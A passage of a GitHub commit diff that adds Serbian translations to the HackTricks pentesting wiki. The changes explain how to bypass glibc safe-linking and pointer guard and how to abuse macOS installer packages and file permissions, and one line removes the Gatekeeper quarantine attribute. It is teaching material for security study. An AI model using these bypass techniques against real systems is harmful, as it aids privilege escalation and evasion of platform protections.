mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['binary-exploitation/common-binary-protections-and-bypasses/
This commit is contained in:
parent
548599634c
commit
9bc3c15c03
4 changed files with 250 additions and 46 deletions
|
@ -725,6 +725,7 @@
|
||||||
* [Ret2plt](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md)
|
* [Ret2plt](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md)
|
||||||
* [Ret2ret & Reo2pop](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md)
|
* [Ret2ret & Reo2pop](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md)
|
||||||
* [CET & Shadow Stack](binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md)
|
* [CET & Shadow Stack](binary-exploitation/common-binary-protections-and-bypasses/cet-and-shadow-stack.md)
|
||||||
|
* [Libc Protections](binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md)
|
||||||
* [Memory Tagging Extension (MTE)](binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md)
|
* [Memory Tagging Extension (MTE)](binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md)
|
||||||
* [No-exec / NX](binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md)
|
* [No-exec / NX](binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md)
|
||||||
* [PIE](binary-exploitation/common-binary-protections-and-bypasses/pie/README.md)
|
* [PIE](binary-exploitation/common-binary-protections-and-bypasses/pie/README.md)
|
||||||
|
|
|
@ -0,0 +1,94 @@
|
||||||
|
# Zaštita libc biblioteke
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Prinudno poravnanje delova
|
||||||
|
|
||||||
|
**Malloc** dodeljuje memoriju u grupama od **8 bajtova (32-bitni) ili 16 bajtova (64-bitni)**. To znači da bi kraj delova u 32-bitnim sistemima trebalo da se poravna sa **0x8**, a u 64-bitnim sistemima sa **0x0**. Bezbednosna funkcija proverava da li se svaki deo **pravilno poravna** na ovim specifičnim lokacijama pre korišćenja pokazivača iz bin-a.
|
||||||
|
|
||||||
|
### Bezbednosne prednosti
|
||||||
|
|
||||||
|
Prinudno poravnanje delova u 64-bitnim sistemima značajno poboljšava bezbednost Malloc-a tako što **ograničava postavljanje lažnih delova na samo 1 od svakih 16 adresa**. Ovo otežava napore za eksploataciju, posebno u scenarijima gde korisnik ima ograničenu kontrolu nad ulaznim vrednostima, čineći napade složenijim i težim za uspešno izvršavanje.
|
||||||
|
|
||||||
|
* **Napad na Fastbin preko \_\_malloc\_hook**
|
||||||
|
|
||||||
|
Nove pravila poravnanja u Malloc-u takođe sprečavaju klasičan napad koji uključuje `__malloc_hook`. Prethodno, napadači su mogli manipulisati veličinom dela da bi **prepisali ovaj pokazivač funkcije** i stekli **izvršavanje koda**. Sada, stroga zahtevnost poravnanja osigurava da takve manipulacije više nisu izvodljive, zatvarajući uobičajenu rutu eksploatacije i poboljšavajući ukupnu bezbednost.
|
||||||
|
|
||||||
|
## Mutilacija pokazivača na fastbin-ovima i tcache-u
|
||||||
|
|
||||||
|
**Mutilacija pokazivača** je bezbednosno unapređenje koje se koristi za zaštitu **fastbin i tcache Fd pokazivača** u operacijama upravljanja memorijom. Ova tehnika pomaže u sprečavanju određenih vrsta taktika eksploatacije memorije, posebno onih koje ne zahtevaju procurele informacije o memoriji ili koje direktno manipulišu lokacijama memorije u odnosu na poznate pozicije (relativno **prepisivanje**).
|
||||||
|
|
||||||
|
Srce ove tehnike je formula za zamagljivanje:
|
||||||
|
|
||||||
|
**`Novi_Ptr = (L >> 12) XOR P`**
|
||||||
|
|
||||||
|
* **L** je **Lokacija Skladištenja** pokazivača.
|
||||||
|
* **P** je stvarni **fastbin/tcache Fd Pokazivač**.
|
||||||
|
|
||||||
|
Razlog za bitovno pomeranje lokacije skladištenja (L) za 12 bitova udesno pre XOR operacije je ključan. Ova manipulacija rešava ranjivost inherentnu u determinističkoj prirodi najmanje značajnih 12 bitova adresa memorije, koji su obično predvidljivi zbog ograničenja arhitekture sistema. Pomeranjem bitova, predvidljivi deo se izbacuje iz jednačine, poboljšavajući nasumičnost novog, mutiliranog pokazivača i time štiteći se od eksploatacija koje se oslanjaju na predvidljivost ovih bitova.
|
||||||
|
|
||||||
|
Ovaj mutilirani pokazivač koristi postojeću nasumičnost koju pruža **Randomizacija Izgleda Adresnog Prostora (ASLR)**, koja nasumično raspoređuje adrese koje koriste programi kako bi otežala napadačima da predvide raspored memorije procesa.
|
||||||
|
|
||||||
|
**Demutilacija** pokazivača radi povratka originalne adrese uključuje korišćenje iste XOR operacije. Ovde se mutilirani pokazivač tretira kao P u formuli, i kada se XOR-uje sa nepromenjenom lokacijom skladištenja (L), rezultira otkrivanjem originalnog pokazivača. Ova simetrija u mutilaciji i demutilaciji osigurava da sistem može efikasno enkodirati i dekodirati pokazivače bez značajnog opterećenja, dok istovremeno značajno povećava bezbednost protiv napada koji manipulišu pokazivačima memorije.
|
||||||
|
|
||||||
|
### Bezbednosne prednosti
|
||||||
|
|
||||||
|
Mutilacija pokazivača ima za cilj da **spreči delimično i potpuno prepisivanje pokazivača u heap** upravljanju, što je značajno unapređenje u bezbednosti. Ova funkcija utiče na tehnike eksploatacije na nekoliko načina:
|
||||||
|
|
||||||
|
1. **Sprečavanje Prepisivanja Relativnih Bajtova**: Prethodno, napadači su mogli promeniti deo pokazivača da bi **preusmerili delove heap-a na različite lokacije bez poznavanja tačnih adresa**, tehnika vidljiva u eksploataciji **House of Roman** bez procurele informacije. Sa mutilacijom pokazivača, takva relativna prepisivanja **bez procurele heap-a sada zahtevaju grubu silu**, značajno smanjujući verovatnoću uspeha.
|
||||||
|
2. **Povećana Težina Napada na Tcache Bin/Fastbin**: Uobičajeni napadi koji prepisuju pokazivače funkcija (poput `__malloc_hook`) manipulacijom unosa fastbin-a ili tcache-a su otežani. Na primer, napad može uključivati procurelu LibC adrese, oslobađanje dela u tcache bin, a zatim prepisivanje Fd pokazivača da bi ga preusmerio na `__malloc_hook` za izvršavanje proizvoljnog koda. Sa mutilacijom pokazivača, ovi pokazivači moraju biti pravilno mutilirani, **zahtevajući procurelu heap-a za tačnu manipulaciju**, čime se podiže barijera eksploatacije.
|
||||||
|
3. **Potreba za Procurenim Heap Adresama na Ne-Heap Lokacijama**: Kreiranje lažnog dela na ne-heap lokacijama (kao što su stek, .bss sekcija ili PLT/GOT) sada takođe **zahteva procurelu heap-a** zbog potrebe za mutilacijom pokazivača. Ovo povećava složenost eksploatisanja ovih oblasti, slično zahtevu za manipulisanjem LibC adresa.
|
||||||
|
4. **Procurenje Adresa Heap-a Postaje Izazovnije**: Mutilacija pokazivača ograničava korisnost Fd pokazivača u fastbin i tcache bin-ovima kao izvora za procurene adrese heap-a. Međutim, pokazivači u nesortiranim, malim i velikim bin-ovima ostaju nemutilirani, i dalje korisni za procurene adrese. Ova promena tera napadače da istraže ove bin-ove za iskoristive informacije, iako neke tehnike i dalje mogu omogućiti demutilaciju pokazivača pre procure, iako uz određena ograničenja.
|
||||||
|
|
||||||
|
### **Demutilacija pokazivača sa procurelom heap-a**
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
Za bolje objašnjenje procesa [**proverite originalni post ovde**](https://maxwelldulin.com/BlogPost?post=5445977088).
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
### Pregled Algoritma
|
||||||
|
|
||||||
|
Formula korišćena za mutilaciju i demutilaciju pokazivača je: 
|
||||||
|
|
||||||
|
**`Novi_Ptr = (L >> 12) XOR P`**
|
||||||
|
|
||||||
|
Gde je **L** lokacija skladištenja, a **P** je Fd pokazivač. Kada se **L** pomeri udesno za 12 bitova, otkrivaju se najznačajniji bitovi **P**, zbog prirode **XOR**, koji daje 0 kada se bitovi XOR-uju sa samim sobom.
|
||||||
|
|
||||||
|
**Ključni Koraci u Algoritmu:**
|
||||||
|
|
||||||
|
1. **Početna Procena Najznačajnijih Bitova**: XOR-ovanjem pomerene **L** sa **P**, efikasno dobijate gornjih 12 bitova **P** jer će pomerena deo **L** biti nula, ostavljajući odgovarajuće bitove **P** nepromenjene.
|
||||||
|
2. **Obnova Bitova Pokazivača**: Pošto je XOR reverzibilan, znajući rezultat i jedan od operanada vam omogućava da izračunate drugi operand. Ova osobina se koristi za zaključivanje celog skupa bitova za **P** sukcesivnim XOR-ovanjem poznatih setova bitova sa delovima mutiliranog pokazivača.
|
||||||
|
3. **Iterativna Demutilacija**: Proces se ponavlja, svaki put koristeći novo otkrivene bitove **P** iz prethodnog koraka za dekodiranje sledećeg segmenta mutiliranog pokazivača, dok se ne oporave svi bitovi.
|
||||||
|
4. **Rukovanje Determinističkim Bitovima**: Poslednjih 12 bitova **L** su izgubljeni zbog pomeranja, ali su deterministički i mogu se rekonstruisati nakon procesa.
|
||||||
|
|
||||||
|
Implementaciju ovog algoritma možete pronaći ovde: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
|
||||||
|
## Zaštita pokazivača
|
||||||
|
|
||||||
|
Zaštita pokazivača je tehnika zaštite od eksploatacije koja se koristi u glibc-u kako bi se zaštitili uskladišteni pokazivači funkcija, posebno oni registrovani pozivima biblioteke poput `atexit()`. Ova zaštita uključuje mešanje pokazivača XOR operacijom sa tajnom uskladištenom u podacima niti (`fs:0x30`) i primenom bitovske rotacije. Ovaj mehanizam ima za cilj da spreči napadače da preuzmu kontrolu toka izvršavanja preko prepisivanja pokazivača funkcija.
|
||||||
|
|
||||||
|
### **Bajpasovanje zaštite pokazivača pomoću curenja informacija**
|
||||||
|
|
||||||
|
1. **Razumevanje operacija zaštite pokazivača:** Mešanje pokazivača se vrši korišćenjem makroa `PTR_MANGLE` koji XOR-uje pokazivač sa 64-bitnom tajnom, a zatim vrši levu rotaciju za 0x11 bitova. Obrnuta operacija za vraćanje originalnog pokazivača se obavlja pomoću `PTR_DEMANGLE`.
|
||||||
|
2. **Strategija napada:** Napad se zasniva na pristupu poznatog teksta, gde napadač mora znati kako izgledaju originalna i mešana verzija pokazivača kako bi zaključio tajnu koja se koristi za mešanje.
|
||||||
|
3. **Eksploatisanje poznatih tekstova:**
|
||||||
|
* **Identifikacija fiksnih pokazivača funkcija:** Proučavanjem izvornog koda glibc-a ili inicijalizovanih tabela pokazivača funkcija (kao što su `__libc_pthread_functions`), napadač može pronaći predvidljive pokazivače funkcija.
|
||||||
|
* **Računanje tajne:** Korišćenjem poznatog pokazivača funkcije poput `__pthread_attr_destroy` i njegove mešane verzije iz tabele pokazivača funkcija, tajna se može izračunati vraćanjem rotacije (desna rotacija) mešanog pokazivača, a zatim XOR-ovanjem sa adresom funkcije.
|
||||||
|
4. **Alternativni poznati tekstovi:** Napadač takođe može eksperimentisati sa mešanjem pokazivača poznatim vrednostima poput 0 ili -1 kako bi videli da li ove vrednosti proizvode prepoznatljive obrasce u memoriji, potencijalno otkrivajući tajnu kada se ovi obrasci pronađu u isecima memorije.
|
||||||
|
5. **Praktična primena:** Nakon što se izračuna tajna, napadač može manipulisati pokazivačima na kontrolisan način, suštinski zaobilazeći zaštitu pokazivača u višenitnoj aplikaciji sa znanjem o baznoj adresi libc-a i sposobnošću čitanja proizvoljnih lokacija u memoriji.
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
* [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
|
||||||
|
* [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)
|
|
@ -6,9 +6,9 @@
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
@ -46,13 +46,17 @@ cpio -i < Scripts
|
||||||
```
|
```
|
||||||
## Osnovne informacije o DMG-u
|
## Osnovne informacije o DMG-u
|
||||||
|
|
||||||
DMG datoteke, ili Apple Disk Images, su format datoteka koji koristi macOS kompanije Apple za disk slike. DMG datoteka je suštinski **montabilna disk slika** (sadrži svoj sopstveni fajl sistem) koja sadrži sirove blok podatke obično kompresovane i ponekad enkriptovane. Kada otvorite DMG datoteku, macOS je **montira kao da je fizički disk**, omogućavajući vam pristup njenom sadržaju.
|
DMG datoteke, ili Apple Disk Images, su format datoteka koji koristi macOS kompanije Apple za disk slike. DMG datoteka je suštinski **montabilna disk slika** (sadrži sopstveni fajl sistem) koja sadrži sirove blok podatke obično kompresovane i ponekad enkriptovane. Kada otvorite DMG datoteku, macOS je **montira kao da je fizički disk**, omogućavajući vam pristup njenom sadržaju.
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
Imajte na umu da **`.dmg`** instalateri podržavaju **toliko formata** da su u prošlosti neki od njih koji su sadržavali ranjivosti zloupotrebljeni kako bi se dobio **izvršni kod kernela**.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
### Hijerarhija
|
### Hijerarhija
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (222).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (222).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Hijerarhija DMG datoteke može biti različita u zavisnosti od sadržaja. Međutim, za aplikacije u DMG formatu, obično prati ovu strukturu:
|
Hijerarhija DMG datoteke može biti različita u zavisnosti od sadržaja. Međutim, za aplikativne DMG-ove, obično prati ovu strukturu:
|
||||||
|
|
||||||
- Gornji nivo: Ovo je koren disk slike. Često sadrži aplikaciju i možda link ka folderu Aplikacije.
|
- Gornji nivo: Ovo je koren disk slike. Često sadrži aplikaciju i možda link ka folderu Aplikacije.
|
||||||
- Aplikacija (.app): Ovo je stvarna aplikacija. U macOS-u, aplikacija je obično paket koji sadrži mnogo pojedinačnih fajlova i foldera koji čine aplikaciju.
|
- Aplikacija (.app): Ovo je stvarna aplikacija. U macOS-u, aplikacija je obično paket koji sadrži mnogo pojedinačnih fajlova i foldera koji čine aplikaciju.
|
||||||
|
@ -62,13 +66,13 @@ Hijerarhija DMG datoteke može biti različita u zavisnosti od sadržaja. Međut
|
||||||
|
|
||||||
### Izvršavanje iz javnih direktorijuma
|
### Izvršavanje iz javnih direktorijuma
|
||||||
|
|
||||||
Ako se skript za pre ili post instalaciju na primer izvršava iz **`/var/tmp/Installerutil`**, napadač može kontrolisati tu skriptu kako bi eskalirao privilegije svaki put kada se izvrši. Ili još jedan sličan primer:
|
Ako se skript za pre ili post instalaciju na primer izvršava iz **`/var/tmp/Installerutil`**, a napadač može da kontroliše tu skriptu, može da eskalira privilegije svaki put kada se izvrši. Ili još jedan sličan primer:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption><p><a href="https://www.youtube.com/watch?v=kCXhIYtODBg">https://www.youtube.com/watch?v=kCXhIYtODBg</a></p></figcaption></figure>
|
||||||
|
|
||||||
### AuthorizationExecuteWithPrivileges
|
### AuthorizationExecuteWithPrivileges
|
||||||
|
|
||||||
Ovo je [javna funkcija](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) koju će nekoliko instalatera i ažuriranja pozvati da **izvrše nešto kao root**. Ova funkcija prihvata **putanju** **fajla** koji se **izvršava** kao parametar, međutim, ako napadač može **modifikovati** ovaj fajl, biće u mogućnosti da **zloupotrebi** njegovo izvršavanje sa root privilegijama kako bi **eskaliro privilegije**.
|
Ovo je [javna funkcija](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) koju će nekoliko instalatera i ažuriranja pozvati da **izvrše nešto kao root**. Ova funkcija prihvata **putanju** **fajla** koji se **izvršava** kao parametar, međutim, ako napadač može da **modifikuje** ovaj fajl, moći će da **zloupotrebi** njegovo izvršavanje sa root privilegijama da bi **eskaliro privilegije**.
|
||||||
```bash
|
```bash
|
||||||
# Breakpoint in the function to check wich file is loaded
|
# Breakpoint in the function to check wich file is loaded
|
||||||
(lldb) b AuthorizationExecuteWithPrivileges
|
(lldb) b AuthorizationExecuteWithPrivileges
|
||||||
|
@ -76,15 +80,15 @@ Ovo je [javna funkcija](https://developer.apple.com/documentation/security/15400
|
||||||
```
|
```
|
||||||
### Izvršenje putem montiranja
|
### Izvršenje putem montiranja
|
||||||
|
|
||||||
Ako instalater piše u `/tmp/fixedname/bla/bla`, moguće je **napraviti montiranje** preko `/tmp/fixedname` bez vlasnika tako da možete **izmeniti bilo koji fajl tokom instalacije** kako biste zloupotrebili proces instalacije.
|
Ako instalater piše u `/tmp/fixedname/bla/bla`, moguće je **napraviti montiranje** preko `/tmp/fixedname` bez vlasnika tako da možete **modifikovati bilo koji fajl tokom instalacije** kako biste zloupotrijebili proces instalacije.
|
||||||
|
|
||||||
Primer za ovo je **CVE-2021-26089** koji je uspeo da **prepiše periodični skript** kako bi dobio izvršenje kao root. Za više informacija pogledajte ovaj razgovor: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
Primer za ovo je **CVE-2021-26089** koji je uspeo da **prepiše periodični skript** kako bi dobio izvršenje kao root. Za više informacija pogledajte ovaj talk: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||||
|
|
||||||
## pkg kao zlonamerni softver
|
## pkg kao zlonamerni softver
|
||||||
|
|
||||||
### Prazan Payload
|
### Prazan Payload
|
||||||
|
|
||||||
Moguće je jednostavno generisati **`.pkg`** fajl sa **pre i post-install skriptama** bez ikakvog payload-a.
|
Moguće je generisati **`.pkg`** fajl sa **pre i post-install skriptama** bez ikakvog payload-a.
|
||||||
|
|
||||||
### JS u Distribution xml
|
### JS u Distribution xml
|
||||||
|
|
||||||
|
@ -96,3 +100,4 @@ Moguće je dodati **`<script>`** tagove u **distribution xml** fajl paketa i taj
|
||||||
|
|
||||||
* [**DEF CON 27 - Unpacking Pkgs A Look Inside Macos Installer Packages And Common Security Flaws**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
|
* [**DEF CON 27 - Unpacking Pkgs A Look Inside Macos Installer Packages And Common Security Flaws**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
|
||||||
* [**OBTS v4.0: "The Wild World of macOS Installers" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
* [**OBTS v4.0: "The Wild World of macOS Installers" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
||||||
|
* [**DEF CON 27 - Unpacking Pkgs A Look Inside MacOS Installer Packages**](https://www.youtube.com/watch?v=kCXhIYtODBg)
|
||||||
|
|
|
@ -6,9 +6,9 @@
|
||||||
|
|
||||||
Drugi načini podrške HackTricks-u:
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
@ -20,8 +20,8 @@ Dozvole u **direktorijumu**:
|
||||||
|
|
||||||
* **čitanje** - možete **izlistati** unose u direktorijumu
|
* **čitanje** - možete **izlistati** unose u direktorijumu
|
||||||
* **pisanje** - možete **brisati/pisati** **fajlove** u direktorijumu i možete **brisati prazne foldere**.
|
* **pisanje** - možete **brisati/pisati** **fajlove** u direktorijumu i možete **brisati prazne foldere**.
|
||||||
* Ali **ne možete obrisati/izmeniti neprazne foldere** osim ako imate dozvole za pisanje nad njima.
|
* Ali ne možete **brisati/modifikovati neprazne foldere** osim ako imate dozvole za pisanje nad njima.
|
||||||
* Ne možete **izmeniti ime foldera** osim ako ste vlasnik.
|
* Ne možete modifikovati ime foldera osim ako ga posedujete.
|
||||||
* **izvršavanje** - dozvoljeno vam je **traverzovati** direktorijum - ako nemate ovu dozvolu, ne možete pristupiti bilo kojim fajlovima unutra, ili u bilo kojim poddirektorijumima.
|
* **izvršavanje** - dozvoljeno vam je **traverzovati** direktorijum - ako nemate ovu dozvolu, ne možete pristupiti bilo kojim fajlovima unutra, ili u bilo kojim poddirektorijumima.
|
||||||
|
|
||||||
### Opasne Kombinacije
|
### Opasne Kombinacije
|
||||||
|
@ -32,23 +32,23 @@ Dozvole u **direktorijumu**:
|
||||||
* Jedan roditeljski **direktorijum vlasnik** u putanji je **grupa korisnika** sa **pristupom pisanju**
|
* Jedan roditeljski **direktorijum vlasnik** u putanji je **grupa korisnika** sa **pristupom pisanju**
|
||||||
* Grupa korisnika ima **pristup pisanju** fajlu
|
* Grupa korisnika ima **pristup pisanju** fajlu
|
||||||
|
|
||||||
Sa bilo kojom od prethodnih kombinacija, napadač bi mogao **ubaciti** simboličnu ili tvrdu vezu na očekivanu putanju kako bi dobio privilegovanu proizvoljnu izmenu.
|
Sa bilo kojom od prethodnih kombinacija, napadač bi mogao **ubaciti** simbolički ili tvrdi **link** na očekivanu putanju kako bi dobio privilegovano proizvoljno pisanje.
|
||||||
|
|
||||||
### Poseban slučaj Folder root R+X
|
### Poseban slučaj Folder root R+X
|
||||||
|
|
||||||
Ako postoje fajlovi u **direktorijumu** gde **samo root ima R+X pristup**, oni nisu **dostupni nikome drugom**. Dakle, ranjivost koja omogućava **pomeranje fajla koji je čitljiv za korisnika**, a koji ne može biti pročitan zbog te **restrikcije**, iz ovog foldera **u drugi**, može biti zloupotrebljena da bi se pročitali ti fajlovi.
|
Ako postoje fajlovi u **direktorijumu** gde **samo root ima R+X pristup**, ti fajlovi **nisu dostupni nikome drugom**. Dakle, ranjivost koja omogućava **pomeranje fajla koji je čitljiv za korisnika**, a koji ne može biti pročitan zbog te **restrikcije**, iz ovog foldera **u drugi**, može biti zloupotrebljena da bi se pročitali ti fajlovi.
|
||||||
|
|
||||||
Primer u: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
|
Primer u: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
|
||||||
|
|
||||||
## Simbolična veza / Tvrda veza
|
## Simbolički Link / Tvrdi Link
|
||||||
|
|
||||||
Ako privilegovani proces piše podatke u **fajl** koji bi mogao biti **kontrolisan** od strane **manje privilegovanog korisnika**, ili koji bi mogao biti **prethodno kreiran** od strane manje privilegovanog korisnika. Korisnik jednostavno može **usmeriti** na drugi fajl putem simbolične ili tvrde veze, i privilegovani proces će pisati na taj fajl.
|
Ako privilegovani proces piše podatke u **fajl** koji bi mogao biti **kontrolisan** od strane **korisnika sa manje privilegija**, ili koji bi mogao biti **prethodno kreiran** od strane korisnika sa manje privilegija. Korisnik jednostavno može **usmeriti** na drugi fajl putem Simboličkog ili Tvrdog linka, i privilegovani proces će pisati na taj fajl.
|
||||||
|
|
||||||
Proverite u drugim sekcijama gde napadač može **zloupotrebiti proizvoljno pisanje da bi eskalirao privilegije**.
|
Proverite u drugim sekcijama gde napadač može **zloupotrebiti proizvoljno pisanje da bi eskalirao privilegije**.
|
||||||
|
|
||||||
## .fileloc
|
## .fileloc
|
||||||
|
|
||||||
Fajlovi sa **`.fileloc`** ekstenzijom mogu pokazivati na druge aplikacije ili binarne fajlove tako da kada se otvore, aplikacija/binarni fajl će biti izvršen.\
|
Fajlovi sa ekstenzijom **`.fileloc`** mogu pokazivati na druge aplikacije ili binarne fajlove tako da kada se otvore, aplikacija/binarni fajl će biti izvršen.\
|
||||||
Primer:
|
Primer:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
@ -68,15 +68,15 @@ Ako možete naterati **proces da otvori datoteku ili fasciklu sa visokim privile
|
||||||
|
|
||||||
Na primer: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
Na primer: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
||||||
|
|
||||||
## Izbegavajte trikove sa xattrs karantenom
|
## Trikovi za izbegavanje xattrs karantina
|
||||||
|
|
||||||
### Uklonite je
|
### Uklonite ga
|
||||||
```bash
|
```bash
|
||||||
xattr -d com.apple.quarantine /path/to/file_or_app
|
xattr -d com.apple.quarantine /path/to/file_or_app
|
||||||
```
|
```
|
||||||
### uchg / uchange / uimmutable flag
|
